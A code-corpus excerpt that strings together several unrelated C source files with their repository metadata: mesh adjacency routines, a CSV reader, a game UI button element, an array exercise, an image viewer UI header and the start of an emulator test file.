* 2. Redistributions in binary form must reproduce the above copyright notice,
* this list of conditions and the following disclaimer in the documentation
* and/or other materials provided with the distribution.
*
* 3. Neither the name of the copyright holder nor the names of its contributors
* may be used to endorse or promote products derived from this software without
* specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY ALEXANDRU NAIMAN "AS IS" AND ANY EXPRESS OR
* IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF
* MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED.
* IN NO EVENT SHALL ALEXANDRU NAIMAN BE LIABLE FOR ANY DIRECT, INDIRECT,
* INCIDENTAL, SPECIAL, EXEMPLARY OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT
* LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA,
* OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE,
* EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
* -----------------------------------------------------------------------------
*/
| 2.125 | 2 |
2024-11-18T20:50:33.623547+00:00 | 2016-01-31T17:56:59 | 8cf3a9d3c7e1bdf895e1e2ba633c045a1cc28ce1 | {
"blob_id": "8cf3a9d3c7e1bdf895e1e2ba633c045a1cc28ce1",
"branch_name": "refs/heads/master",
"committer_date": "2016-01-31T17:56:59",
"content_id": "d7770b21ca9aaf6ebad970d1aa8a6b9f0400de08",
"detected_licenses": [
"MIT"
],
"directory_id": "fb3a7c5f9b67687e75fcf0bb86483810387b9514",
"extension": "c",
"filename": "mesh_adj.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 34334452,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 4147,
"license": "MIT",
"license_type": "permissive",
"path": "/mesh_adj.c",
"provenance": "stackv2-0118.json.gz:44457",
"repo_name": "ibaned/tetknife",
"revision_date": "2016-01-31T17:56:59",
"revision_id": "d3d28dcae8bfea8f8f261ef4b0e63b2387de5573",
"snapshot_id": "cc510f5784628fa12baab3a8cfe8aae550e7705a",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/ibaned/tetknife/d3d28dcae8bfea8f8f261ef4b0e63b2387de5573/mesh_adj.c",
"visit_date": "2016-09-15T18:37:32.708008"
} | stackv2 | #include "mesh_adj.h"
void mset_init(mset* s)
{
stack_init(&s->s);
s->e = 0;
}
void mset_dtor(mset* s)
{
my_free(s->e);
}
void mset_clear(mset* s)
{
stack_clear(&s->s);
}
void mset_add(mset* s, ment e)
{
if (stack_full(&s->s))
REALLOC(s->e, stack_grow(&s->s));
s->e[s->s.n] = e;
stack_push(&s->s);
}
int mset_has(mset const* s, ment e)
{
return ments_have(s->s.n, s->e, e);
}
void mset_reserve(mset* s, unsigned n)
{
if (!stack_can_hold(&s->s, n))
REALLOC(s->e, stack_grow_to(&s->s, n));
}
void mset_sub(mset const* a, mset const* b, mset* c)
{
unsigned i;
mset_clear(c);
mset_reserve(c, a->s.n);
for (i = 0; i < a->s.n; ++i)
if (!mset_has(b, a->e[i]))
mset_add(c, a->e[i]);
}
unsigned muse_count(mesh* m, ment v, simplex t)
{
unsigned n = 0;
muse u;
for (u = muse_f(m, v, t); muse_ok(u); u = muse_n(m, u))
++n;
return n;
}
int ments_have(unsigned n, ment const es[], ment e)
{
unsigned i;
for (i = 0; i < n; ++i)
if (ment_eq(es[i], e))
return 1;
return 0;
}
static int ments_superset(unsigned nsup, ment const sup[],
unsigned nsub, ment const sub[])
{
unsigned i;
for (i = 0; i < nsub; ++i)
if (!ments_have(nsup, sup, sub[i]))
return 0;
return 1;
}
static int verts_bound_ment(mesh* m, simplex dt, ment const dv[], ment e)
{
ment uv[SIMPLEX_MAX_DOWN];
unsigned nuv;
unsigned ndv;
nuv = ment_verts(m, e, uv);
ndv = simplex_ndown[dt][VERTEX];
/* assuming we already know that dv[0] is in the entity
V V */
return ments_superset(nuv, uv, ndv - 1, dv + 1);
}
void mesh_up(mesh* m, simplex from, ment const dv[], simplex to, mset* s)
{
muse u;
mset_clear(s);
if (to < from)
return;
for (u = muse_f(m, dv[0], to); muse_ok(u); u = muse_n(m, u))
if (verts_bound_ment(m, from, dv, muse_of(u)))
mset_add(s, muse_of(u));
}
ment mesh_find(mesh* m, simplex t, ment const v[])
{
muse u;
for (u = muse_f(m, v[0], t); muse_ok(u); u = muse_n(m, u))
if (verts_bound_ment(m, t, v, muse_of(u)))
return muse_of(u);
return ment_null;
}
int mesh_has(mesh* m, simplex t, ment const v[])
{
return ment_ok(mesh_find(m, t, v));
}
static unsigned const vv0[1] = {0};
static unsigned const vv1[1] = {1};
static unsigned const vv2[1] = {2};
static unsigned const vv3[1] = {3};
static unsigned const* const vvv[1] = {vv0};
static unsigned const* const* const v_v[1] = {vvv};
static unsigned const* const evv[2] = {vv0,vv1};
static unsigned const eev0[2] = {0,1};
static unsigned const* const eev[1] = {eev0};
static unsigned const* const* const e_v[2] = {evv,eev};
static unsigned const* const fvv[3] = {vv0,vv1,vv2};
static unsigned const fev0[2] = {0,1};
static unsigned const fev1[2] = {1,2};
static unsigned const fev2[2] = {2,0};
static unsigned const* const fev[3] = {fev0,fev1,fev2};
static unsigned const ffv0[3] = {0,1,2};
static unsigned const* const ffv[1] = {ffv0};
static unsigned const* const* const f_v[3] = {fvv,fev,ffv};
static unsigned const* const rvv[4] = {vv0,vv1,vv2,vv3};
static unsigned const rev0[2] = {0,1};
static unsigned const rev1[2] = {1,2};
static unsigned const rev2[2] = {2,3};
static unsigned const rev3[2] = {3,0};
static unsigned const rev4[2] = {0,2};
static unsigned const rev5[2] = {1,3};
static unsigned const* const rev[6] = {rev0,rev1,rev2,rev3,rev4,rev5};
static unsigned const rfv0[3] = {0,2,1};
static unsigned const rfv1[3] = {0,3,2};
static unsigned const rfv2[3] = {0,1,3};
static unsigned const rfv3[3] = {1,2,3};
static unsigned const* const rfv[4] = {rfv0,rfv1,rfv2,rfv3};
static unsigned const rrv0[4] = {0,1,2,3};
static unsigned const* const rrv[1] = {rrv0};
static unsigned const* const* const r_v[4] = {rvv,rev,rfv,rrv};
static unsigned const* const* const* const down_table[4] = {v_v,e_v,f_v,r_v};
unsigned mesh_down(mesh* m, ment e, simplex dt, unsigned di, ment dv[])
{
ment ev[SIMPLEX_MAX_DOWN];
unsigned ndv;
unsigned i;
unsigned const* vi;
ment_verts(m, e, ev);
ndv = simplex_ndown[dt][VERTEX];
vi = down_table[e.t][dt][di];
for (i = 0; i < ndv; ++i)
dv[i] = ev[vi[i]];
return ndv;
}
| 2.359375 | 2 |
2024-11-18T20:50:34.061966+00:00 | 2021-11-23T13:44:14 | f5f77a77e5aa17318078c7c9eb14cbf3837cf269 | {
"blob_id": "f5f77a77e5aa17318078c7c9eb14cbf3837cf269",
"branch_name": "refs/heads/master",
"committer_date": "2021-11-23T13:44:14",
"content_id": "29785b7ac7cab7a1db6f0ffa26ef0078c47f9ff1",
"detected_licenses": [
"MIT"
],
"directory_id": "d85c83a3901ee1c6041cb7f51032a605c56b852f",
"extension": "c",
"filename": "00pos.c",
"fork_events_count": 3,
"gha_created_at": "2019-07-03T11:44:57",
"gha_event_created_at": "2021-05-05T23:33:38",
"gha_language": "HTML",
"gha_license_id": "MIT",
"github_id": 195042707,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 323,
"license": "MIT",
"license_type": "permissive",
"path": "/bench/00pos.c",
"provenance": "stackv2-0118.json.gz:44843",
"repo_name": "knotical/knotical",
"revision_date": "2021-11-23T13:44:14",
"revision_id": "acc9680ab6a44bdc9efd38259964b0f5c9f63f6f",
"snapshot_id": "6baadb7142c734c6e75448836eee2ce37b8a35bc",
"src_encoding": "UTF-8",
"star_events_count": 3,
"url": "https://raw.githubusercontent.com/knotical/knotical/acc9680ab6a44bdc9efd38259964b0f5c9f63f6f/bench/00pos.c",
"visit_date": "2021-11-30T21:20:51.509327"
} | stackv2 | // Impossible for equality comparison (no solutions)
// if we are not allowed to remove both evA and evB.
// ARGS: -cmpLt C1 C2 -no-rem evA,evB -tex
int nondet()
void evA()
void evB()
void C1(int x) {
if(x>0) { evA(); }
else { evB(); }
}
void C2() {
evA();
}
int main() {
int x1 = nondet();
C1(x1);
C2();
}
| 2.515625 | 3 |
2024-11-18T20:50:34.258992+00:00 | 2021-03-11T17:30:38 | 63eb6eab1cbba7c43545fb82e7863eaf502f3ecf | {
"blob_id": "63eb6eab1cbba7c43545fb82e7863eaf502f3ecf",
"branch_name": "refs/heads/main",
"committer_date": "2021-03-11T17:30:38",
"content_id": "fb05eece0800e4988c85f0c7bb1779ac29ff567d",
"detected_licenses": [
"MIT"
],
"directory_id": "1f7f199792f5f7a2e206ef89c2eca04318e969d5",
"extension": "c",
"filename": "csvread.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 337785690,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 5901,
"license": "MIT",
"license_type": "permissive",
"path": "/ami/lib/csvread.c",
"provenance": "stackv2-0118.json.gz:45103",
"repo_name": "eocete-devo/pCraft",
"revision_date": "2021-03-11T17:30:38",
"revision_id": "8eea06aef1d348ccad2a08b32cf3c227f4288b89",
"snapshot_id": "eeca307db95be06c427a13ae8da0d7e5125d9328",
"src_encoding": "UTF-8",
"star_events_count": 0,
"url": "https://raw.githubusercontent.com/eocete-devo/pCraft/8eea06aef1d348ccad2a08b32cf3c227f4288b89/ami/lib/csvread.c",
"visit_date": "2023-03-19T21:04:21.671067"
} | stackv2 | #include <stdio.h>
#include <csv.h>
#include <ami/ami.h>
#include <ami/csvread.h>
#include <ami/kvec.h>
#include <ami/khash.h>
#define CSVBUF_SIZE 1024
KHASH_MAP_INIT_STR(fieldhash, int)
struct _parse_helper_t {
int has_header;
int index;
char *field;
ami_kvec_t fields;
int current_line;
int current_field;
int total_fields;
int total_lines;
char *retfield;
char **array;
int field_incr;
int field_pos;
int length_fields; // if we have 3 fields per line, it will be 3
};
typedef struct _parse_helper_t parse_helper_t;
void on_new_field_prepare(void *s, size_t i, void *userdata)
{
parse_helper_t *phelp = (parse_helper_t *)userdata;
if (!phelp) {
fprintf(stderr, "Error reading field helper!");
return;
}
if (phelp->total_lines == 0) {
/* We have out first line here. This is our header. */
if (!strcmp(phelp->field, s)) {
/* printf("field pos for %s is %d\n", s, phelp->total_fields); */
phelp->field_pos = phelp->total_fields;
}
}
phelp->total_fields++;
}
void on_new_line_prepare(int c, void *userdata)
{
parse_helper_t *phelp = (parse_helper_t *)userdata;
if (phelp->total_lines == 0) {
phelp->length_fields = phelp->total_fields; // We are done parsing the first line, so we know the length
}
phelp->total_lines++;
}
void new_field_array(void *s, size_t i, void *userdata)
{
parse_helper_t *phelp = (parse_helper_t *)userdata;
/* printf("%d:%s\n", phelp->field_incr, s); */
phelp->array[phelp->field_incr] = strdup(s);
phelp->field_incr++;
}
void new_line_array(int c, void *userdata)
{
}
void on_new_field(void *s, size_t i, void *userdata)
{
parse_helper_t *phelp = (parse_helper_t *)userdata;
if (!phelp) {
fprintf(stderr, "Error reading field helper!");
return;
}
if ((phelp->current_line == 1) && (phelp->has_header)) {
kv_push(char *, phelp->fields, strdup(s));
} else {
if (phelp->has_header) {
char *thips_field = kv_A(phelp->fields, phelp->current_field - 1);
if (!strcmp(phelp->field, thips_field)) {
if (phelp->current_line - 1 == phelp->index) {
phelp->retfield = strdup(s);
}
}
} else {
fprintf(stderr, "Error, only CSV with headers are supported now. Please contibute!\n");
}
/* if (!strcmp()) */
/* printf("%s:%s;", kv_A(phelp->fields, phelp->current_field - 1), s); */
}
phelp->current_field++;
}
void on_new_line(int c, void *userdata)
{
parse_helper_t *phelp = (parse_helper_t *)userdata;
/* printf("[%d] new line:%d\n", phelp->current_line, c); */
phelp->current_line += 1;
phelp->current_field = 1;
}
char *ami_csvread_get_field_at_line(ami_t *ami, char *file, int index, char *field, int has_header)
{
FILE *fp;
struct csv_parser p;
char buf[CSVBUF_SIZE];
size_t bytes_read = 0, pos = 0, retval = 0;
parse_helper_t *phelp;
char *retfield = NULL;
char **membuf = NULL;
size_t membuf_len = 0;
char c = 0;
int cursor = 0;
int length = 0;
/* printf(">>> %s(%s, %d, %s, %d)\n", __FUNCTION__, file, index, field, has_header); */
phelp = (parse_helper_t *)malloc(sizeof(parse_helper_t));
if (!phelp) {
fprintf(stderr, "Error, cannot allocate parse_helper_t\n");
return NULL;
}
phelp->has_header = has_header;
phelp->index = index;
phelp->field = field;
phelp->field_pos = -1;
kv_init(phelp->fields);
phelp->current_line = 1;
phelp->current_field = 1;
phelp->retfield = NULL;
phelp->total_fields = 0;
phelp->total_lines = 0;
phelp->array = NULL;
phelp->field_incr = 0;
phelp->length_fields = 0;
csv_init(&p, CSV_APPEND_NULL);
membuf = ami_get_membuf(ami, file);
if (!membuf) {
fp = ami_get_open_file(ami, file);
if (!fp) {
fp = fopen(file, "rb");
if (!fp) {
fprintf(stderr, "Error, could not read CSV file '%s'\n", file);
return NULL;
}
/* Save the file pointer in the ami to avoid open-close too many times on the same files */
ami_set_open_file(ami, file, fp);
}
rewind(fp);
/*
* <PREPROCESSING>
* Check the volume of our CSV
*/
while ((bytes_read=fread(buf, 1, CSVBUF_SIZE, fp)) > 0) {
if ((retval = csv_parse(&p, buf, bytes_read, on_new_field_prepare, on_new_line_prepare, phelp)) != bytes_read) {
if (csv_error(&p) == CSV_EPARSE) {
fprintf(stderr, "%s: malformed at byte %lu\n", file, (unsigned long)pos + retval + 1);
goto end;
}
}
}
rewind(fp);
/*
* </PREPROCESSING>
*/
ami_set_totalfields(ami, file, phelp->total_fields);
ami_set_totallines(ami, file, phelp->total_lines);
ami_set_lengthfields(ami, file, phelp->length_fields);
/* <ArrayBuilding> */
phelp->array = malloc(phelp->total_fields * sizeof(char *));
if (!phelp->array) {
fprintf(stderr, "Could not allocate CSV array!\n");
goto end;
}
while ((bytes_read=fread(buf, 1, CSVBUF_SIZE, fp)) > 0) {
if ((retval = csv_parse(&p, buf, bytes_read, new_field_array, new_line_array, phelp)) != bytes_read) {
if (csv_error(&p) == CSV_EPARSE) {
fprintf(stderr, "%s: malformed at byte %lu\n", file, (unsigned long)pos + retval + 1);
goto end;
}
}
}
/* </ArrayBuilding> */
ami_set_membuf(ami, file, phelp->array);
membuf = phelp->array;
}
index++;
int want = index * ami_get_lengthfields(ami, file) + phelp->field_pos;
if (want > ami_get_totalfields(ami, file)) {
fprintf(stderr, "Error reading file %s, line %d. Line number exceeded! Requested %d\n", file, index, want);
}
retfield = strdup(membuf[want]);
return retfield;
end:
free(phelp->array);
free(phelp->retfield);
free(phelp);
/* rewind(fp); */
csv_fini(&p, NULL, NULL, NULL);
csv_free(&p);
return retfield;
end2:
free(phelp->array);
free(phelp->retfield);
free(phelp);
return retfield;
}
| 2.359375 | 2 |
2024-11-18T20:50:38.402963+00:00 | 2023-03-30T15:31:48 | eb452c5f1102923c575d53a5e12e79c5b1907e82 | {
"blob_id": "eb452c5f1102923c575d53a5e12e79c5b1907e82",
"branch_name": "refs/heads/master",
"committer_date": "2023-03-30T15:31:48",
"content_id": "1a9827cd3199f3d3bcba82c7b493550a2bd03d5f",
"detected_licenses": [
"MIT"
],
"directory_id": "21d87fec2161c285313f98518b5c2eb30125c034",
"extension": "c",
"filename": "gf2d_element_button.c",
"fork_events_count": 35,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 91601796,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 7788,
"license": "MIT",
"license_type": "permissive",
"path": "/src/gf2d_element_button.c",
"provenance": "stackv2-0118.json.gz:45489",
"repo_name": "engineerOfLies/gameframework2d",
"revision_date": "2023-03-30T15:31:48",
"revision_id": "2da719e193276bc06134eb137f69de64dd72a075",
"snapshot_id": "2498daceafc5212b9c97209a41eb9e7011004926",
"src_encoding": "UTF-8",
"star_events_count": 19,
"url": "https://raw.githubusercontent.com/engineerOfLies/gameframework2d/2da719e193276bc06134eb137f69de64dd72a075/src/gf2d_element_button.c",
"visit_date": "2023-04-15T17:40:12.565182"
} | stackv2 | #include "simple_logger.h"
#include "gfc_input.h"
#include "gf2d_graphics.h"
#include "gf2d_element_button.h"
#include "gf2d_element_actor.h"
#include "gf2d_draw.h"
#include "gf2d_mouse.h"
void gf2d_element_button_draw(Element *element,Vector2D offset)
{
Rect rect;
ButtonElement *button;
Vector2D position;
if (!element)return;
button = (ButtonElement*)element->data;
if (!button)return;
vector2d_add(position,offset,element->bounds);
gfc_rect_set(rect,offset.x + element->bounds.x,offset.y + element->bounds.y,element->bounds.w,element->bounds.h);
if (button->customActions == BCA_Default)
{
switch(element->state)
{
case ES_hidden:
case ES_disable:
return;
case ES_idle:
gf2d_element_actor_set_action(button->actor,"idle");
gf2d_element_set_color(button->label,element->color);
break;
case ES_highlight:
gf2d_element_actor_set_action(button->actor,"high");
gf2d_element_set_color(button->label,button->highColor);
break;
case ES_active:
gf2d_element_actor_set_action(button->actor,"press");
gf2d_element_set_color(button->label,button->pressColor);
break;
}
}
else if (button->customActions == BCA_BackgroundHighlight)
{
gf2d_graphics_set_blend_mode(SDL_BLENDMODE_BLEND);
switch(element->state)
{
case ES_hidden:
case ES_disable:
return;
case ES_idle:
gf2d_draw_rect_filled(rect,element->backgroundColor);
break;
case ES_highlight:
gf2d_draw_rect_filled(rect,button->highColor);
break;
case ES_active:
gf2d_draw_rect_filled(rect,button->pressColor);
break;
}
}
gf2d_element_draw(button->actor,position);
gf2d_element_draw(button->label,position);
}
List *gf2d_element_button_update(Element *element,Vector2D offset)
{
Rect bounds;
List *list;
ButtonElement *button;
if (!element)return NULL;
button = (ButtonElement*)element->data;
if (!button)return NULL;
bounds = gf2d_element_get_absolute_bounds(element,offset);
gf2d_element_update(button->actor, offset);
if (element->hasFocus)
{
element->state = ES_highlight;
if (gfc_input_command_pressed("enter"))
{
element->state = ES_active;
list = gfc_list_new();
gfc_list_append(list,element);
if (strlen(button->sound))gf2d_windows_play_sound(button->sound);
return list;
}
}
else
{
element->state = ES_idle;
}
if (gf2d_mouse_hidden() <= 0)
{
if(gf2d_mouse_in_rect(bounds))
{
element->state = ES_highlight;
if (gf2d_mouse_button_state(0))
{
element->state = ES_active;
}
else if (gf2d_mouse_button_released(0))
{
list = gfc_list_new();
list = gfc_list_append(list,element);
if (strlen(button->sound))gf2d_windows_play_sound(button->sound);
return list;
}
}
else
{
element->state = ES_idle;
}
}
if (gfc_input_command_pressed(button->hotkey))
{
element->state = ES_active;
list = gfc_list_new();
gfc_list_append(list,element);
if (strlen(button->sound))gf2d_windows_play_sound(button->sound);
return list;
}
return NULL;
}
const char *gf2d_element_button_get_input(Element *e)
{
ButtonElement *button;
if (!e)return NULL;
button = (ButtonElement*)e->data;
if (!button)return NULL;
return button->hotkey;
}
Element *gf2d_element_button_get_by_id(Element *e,int id)
{
ButtonElement *button;
Element *r;
if (!e)return NULL;
button = (ButtonElement*)e->data;
r = gf2d_element_get_by_id(button->label,id);
if (r)return r;
return gf2d_element_get_by_id(button->actor,id);
}
Element *button_get_by_name(Element *e,const char *name)
{
ButtonElement *button;
Element *r;
if (!e)return NULL;
button = (ButtonElement*)e->data;
r = gf2d_get_element_by_name(button->label,name);
if (r)return r;
return gf2d_get_element_by_name(button->actor,name);
}
Element *gf2d_button_get_next(Element *element, Element *from)
{
ButtonElement *button;
if (!element)return NULL;
button = (ButtonElement*)element->data;
if (element == from)
{
return button->label;
}
if (from == button->label)
{
return button->actor;
}
if (from == button->actor)return from;//search item was my last child, return me
return NULL;
}
void gf2d_element_button_free(Element *element)
{
ButtonElement *button;
if (!element)return;
button = (ButtonElement*)element->data;
if (button != NULL)
{
gf2d_element_free(button->label);
gf2d_element_free(button->actor);
free(button);
}
}
ButtonElement *gf2d_element_button_new()
{
ButtonElement *button;
button = (ButtonElement *)malloc(sizeof(ButtonElement));
if (!button)
{
slog("failed to allocate memory for button");
return NULL;
}
memset(button,0,sizeof(ButtonElement));
return button;
}
void gf2d_element_make_button(Element *e,ButtonElement *button)
{
if (!e)return;
e->data = button;
e->type = ET_Button;
e->draw = gf2d_element_button_draw;
e->update = gf2d_element_button_update;
e->free_data = gf2d_element_button_free;
e->get_by_name = button_get_by_name;
e->get_next = gf2d_button_get_next;
}
ButtonElement *gf2d_element_button_new_full(Element *label,Element *actor,Color highColor,Color pressColor,int customActions)
{
ButtonElement *button;
button = gf2d_element_button_new();
if (!button)return NULL;
button->label = label;
button->actor = actor;
button->highColor = highColor;
button->pressColor = pressColor;
button->customActions = customActions;
return button;
}
void gf2d_element_load_button_from_config(Element *e,SJson *json,Window *win)
{
Vector4D highColor = {255,255,255,255},pressColor = {255,255,255,255};
Element *label = NULL;
Element *actor = NULL;
SJson *value;
const char *text;
int customActions = 0;
ButtonElement *button;
if ((!e) || (!json))
{
slog("call missing parameters");
return;
}
value = sj_object_get_value(json,"highColor");
if (value)
{
sj_value_as_vector4d(value,&highColor);
}
value = sj_object_get_value(json,"pressColor");
if (value)
{
sj_value_as_vector4d(value,&pressColor);
}
sj_get_integer_value(sj_object_get_value(json,"customActions"),&customActions);
value = sj_object_get_value(json,"label");
if (value)
{
label = gf2d_element_load_from_config(value,e,win);
}
value = sj_object_get_value(json,"actor");
if (value)
{
actor = gf2d_element_load_from_config(value,e,win);
}
gf2d_element_make_button(e,gf2d_element_button_new_full(label,actor,gfc_color_from_vector4(highColor),gfc_color_from_vector4(pressColor),customActions));
button = (ButtonElement*)e->data;
text = sj_get_string_value(sj_object_get_value(json,"sound"));
if (text)gfc_line_cpy(button->sound,text);
value = sj_object_get_value(json,"hotkey");
if (value)
{
gfc_line_cpy(button->hotkey,sj_get_string_value(value));
}
}
/*eol@eof*/
| 2.171875 | 2 |
2024-11-18T20:50:38.627670+00:00 | 2019-01-24T13:54:07 | 3282f96c318685db71eeaf64b4ab84c5351c6125 | {
"blob_id": "3282f96c318685db71eeaf64b4ab84c5351c6125",
"branch_name": "refs/heads/master",
"committer_date": "2019-01-24T13:54:07",
"content_id": "3e6736bf213c0c6437478371689d7cca86036900",
"detected_licenses": [
"MIT"
],
"directory_id": "8d41c4ebef2c10c420715f4fbfc9712f9729397b",
"extension": "c",
"filename": "12.8-RemoveDuplicates.c",
"fork_events_count": 1,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 162122255,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 1082,
"license": "MIT",
"license_type": "permissive",
"path": "/Chapter 12/12.8-RemoveDuplicates.c",
"provenance": "stackv2-0118.json.gz:45748",
"repo_name": "Ruesigoren/Solution",
"revision_date": "2019-01-24T13:54:07",
"revision_id": "882471de39cb4bf471e958769f9f1c1a967da9c2",
"snapshot_id": "8eee0107461ab41c5711e8eaac33d2701e5395f0",
"src_encoding": "UTF-8",
"star_events_count": 1,
"url": "https://raw.githubusercontent.com/Ruesigoren/Solution/882471de39cb4bf471e958769f9f1c1a967da9c2/Chapter 12/12.8-RemoveDuplicates.c",
"visit_date": "2020-04-11T21:59:45.702841"
} | stackv2 | /*
* File: 12.8-RemoveDuplicates.c
* -----------------------------
* This program removes all duplicate values from a sorted array of integers,
* leaving only a single copy of each value.
*/
#include <stdio.h>
#include "simpio.h"
/* function prototypes */
void PrintIntegerArray(int array[], int n);
int RemoveDuplicates(int array[], int n);
/* main program */
main()
{
int scores[] = { 65, 72, 75, 79, 82, 82, 84, 84, 84, 86, 90, 94, 95 }; //sorted integer array
int nScores = sizeof(scores) / sizeof(scores[0]);
int nRemain;
PrintIntegerArray(scores, nScores);
printf("nScores: %d\n", nScores);
nRemain = RemoveDuplicates(scores, nScores);
PrintIntegerArray(scores, nRemain);
printf("nScores: %d\n", nRemain);
}
int RemoveDuplicates(int array[], int n)
{
int i, j;
int tmp;
j = 0;
for (i = 0; i < n; i++) {
tmp = array[i];
while (i < n - 1 && array[i + 1] == tmp) {
i++;
}
array[j] = tmp;
j++;
}
return j;
}
void PrintIntegerArray(int array[], int n)
{
int i;
for (i = 0; i < n; i++) {
printf("%-4d", array[i]);
}
printf("\n");
}
| 3.953125 | 4 |
2024-11-18T20:50:38.964685+00:00 | 2023-08-08T05:55:20 | a58e075c586544f62af679c686561cb4d6878b14 | {
"blob_id": "a58e075c586544f62af679c686561cb4d6878b14",
"branch_name": "refs/heads/master",
"committer_date": "2023-08-08T05:55:20",
"content_id": "a39d4b1f6d126ecac6174914f1a0e5a5cacec395",
"detected_licenses": [
"MIT"
],
"directory_id": "ad2a1d85b7c2d694ccce31b3111868704bf65d4e",
"extension": "h",
"filename": "ui.h",
"fork_events_count": 28,
"gha_created_at": "2020-08-03T14:21:48",
"gha_event_created_at": "2023-07-23T05:41:14",
"gha_language": "C",
"gha_license_id": "MIT",
"github_id": 284720432,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 2552,
"license": "MIT",
"license_type": "permissive",
"path": "/src/ui.h",
"provenance": "stackv2-0118.json.gz:45876",
"repo_name": "artemsen/swayimg",
"revision_date": "2023-08-08T05:55:20",
"revision_id": "d0a4a0ed46f01bd953536f3421f3baaa0ff27cf7",
"snapshot_id": "84bf5017fd0ba43c7da99b1ce8f3ef8aa2197686",
"src_encoding": "UTF-8",
"star_events_count": 247,
"url": "https://raw.githubusercontent.com/artemsen/swayimg/d0a4a0ed46f01bd953536f3421f3baaa0ff27cf7/src/ui.h",
"visit_date": "2023-08-18T05:08:42.919422"
} | stackv2 | // SPDX-License-Identifier: MIT
// User interface: Window managment, keyboard input, etc.
// Copyright (C) 2020 Artem Senichev <artemsen@gmail.com>
#pragma once
#include "config.h"
#include <xkbcommon/xkbcommon.h>
/** UI context */
struct ui;
/** Available timers. */
enum ui_timer { ui_timer_animation, ui_timer_slideshow };
/** UI event handlers. */
struct ui_handlers {
/**
* Redraw handler.
* @param data callback data pointer
* @param window pointer to window's pixel data
*/
void (*on_redraw)(void* data, argb_t* window);
/**
* Window resize handler.
* @param data callback data pointer
* @param ctx UI context
* @param width,height new window size
* @param scale window scale factor
*/
void (*on_resize)(void* data, struct ui* ctx, size_t width, size_t height,
size_t scale);
/**
* Key press handler.
* @param data callback data pointer
* @param ctx UI context
* @param key code of key pressed
* @return true if state has changed and window should be redrawn
*/
bool (*on_keyboard)(void* data, struct ui* ctx, xkb_keysym_t key);
/**
* Timer event handler.
* @param data callback data pointer
* @param ctx UI context
* @param timer timer type
*/
void (*on_timer)(void* data, enum ui_timer timer, struct ui* ctx);
/**
* Pointer used for callback data.
*/
void* data;
};
/**
* Create User Interface context.
* @param cfg configuration instance
* @param handlers event handlers
* @return ui context or NULL on errors
*/
struct ui* ui_create(const struct config* cfg,
const struct ui_handlers* handlers);
/**
* Free UI context.
* @param ctx UI context
*/
void ui_free(struct ui* ctx);
/**
* Run event handler loop.
* @param ctx UI context
* @return true if window was closed by user (not an error)
*/
bool ui_run(struct ui* ctx);
/**
* Stop event handler loop.
* @param ctx UI context
*/
void ui_stop(struct ui* ctx);
/**
* Set window title.
* @param ctx UI context
* @param title window title to set
*/
void ui_set_title(struct ui* ctx, const char* title);
/**
* Enable or disable full screen mode.
* @param ctx UI context
* @param enable fullscreen mode
*/
void ui_set_fullscreen(struct ui* ctx, bool enable);
/**
* Set timer callback.
* @param ctx UI context
* @param timer type of the timer to set
* @param ms timeout in milliseconds
*/
void ui_set_timer(struct ui* ctx, enum ui_timer timer, size_t ms);
| 2.234375 | 2 |
2024-11-18T20:50:39.155971+00:00 | 2020-06-06T18:36:15 | 01aa26baf49f1d82fcd0d1759d562579dba474d1 | {
"blob_id": "01aa26baf49f1d82fcd0d1759d562579dba474d1",
"branch_name": "refs/heads/master",
"committer_date": "2020-06-21T21:25:35",
"content_id": "36ee31b5da84c4fd02fcafd081722d6f84045083",
"detected_licenses": [
"MIT"
],
"directory_id": "eaf9d6dcc04cd93187a09d711126f4e80f598568",
"extension": "c",
"filename": "panaroia_tests.c",
"fork_events_count": 0,
"gha_created_at": null,
"gha_event_created_at": null,
"gha_language": null,
"gha_license_id": null,
"github_id": 269185225,
"is_generated": false,
"is_vendor": false,
"language": "C",
"length_bytes": 15483,
"license": "MIT",
"license_type": "permissive",
"path": "/tests/panaroia_tests.c",
"provenance": "stackv2-0118.json.gz:46004",
"repo_name": "rogerzanoni/panaroia",
"revision_date": "2020-06-06T18:36:15",
"revision_id": "e6cace27d8dea66e76d21183b4aa787d5dda86d0",
"snapshot_id": "be974551fc984fac671d9339069143cb624f1968",
"src_encoding": "UTF-8",
"star_events_count": 4,
"url": "https://raw.githubusercontent.com/rogerzanoni/panaroia/e6cace27d8dea66e76d21183b4aa787d5dda86d0/tests/panaroia_tests.c",
"visit_date": "2022-11-11T03:22:19.245246"
} | stackv2 | #include <stdio.h>
#include "panaroia/panaroia.h"
#include <check.h>
#define TEST_ROM_NAME "test-rom.chip8"
void write_test_rom(char* rom, unsigned short size)
{
FILE *f = fopen(TEST_ROM_NAME, "w");
ck_assert_ptr_ne(f, NULL);
size_t written = fwrite(rom, sizeof(char), size, f);
if (written != size) {
perror("Error writing test rom file.");
}
fclose(f);
}
#define LOAD_ROM(...) { \
short *list = (short[]) { __VA_ARGS__, -1 }; \
int len = 0; \
while (*(list + len) != -1) ++len; \
unsigned short data[len]; \
